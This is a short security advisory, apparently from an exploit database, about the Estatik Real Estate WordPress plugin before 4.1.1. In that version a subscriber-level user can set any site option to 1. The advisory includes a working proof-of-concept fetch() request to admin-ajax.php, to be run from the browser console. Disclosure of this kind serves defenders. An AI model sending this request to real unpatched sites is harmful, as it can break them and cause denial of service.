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wpexploitKrzysztof Zając (CERT PL)WPEX-ID:74CB07FE-FC82-472F-8C52-859C176D9E51
HistoryDec 25, 2023 - 12:00 a.m.

Estatik Real Estate Plugin < 4.1.1 - Subscriber+ Arbitrary Option Update

2023-12-2500:00:00
Krzysztof Zając (CERT PL)
56
estatik real estate plugin
subscriber
arbitrary option update
developer console
web browser
admin-ajax.php
exploit

AI Score

6.7

Confidence

High

EPSS

0

Percentile

13.3%

Description The plugin does not prevent user with low privileges on the site, like subscribers, from setting any of the site’s options to 1, which could be used to break sites and lead to DoS when certain options are reset

Run the below command in the developer console of the web browser while being on the blog as a subscriber user:

fetch("/wp-admin/admin-ajax.php?action=es_dismiss_notices", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "notice=template",
  "method": "POST",
});

AI Score

6.7

Confidence

High

EPSS

0

Percentile

13.3%

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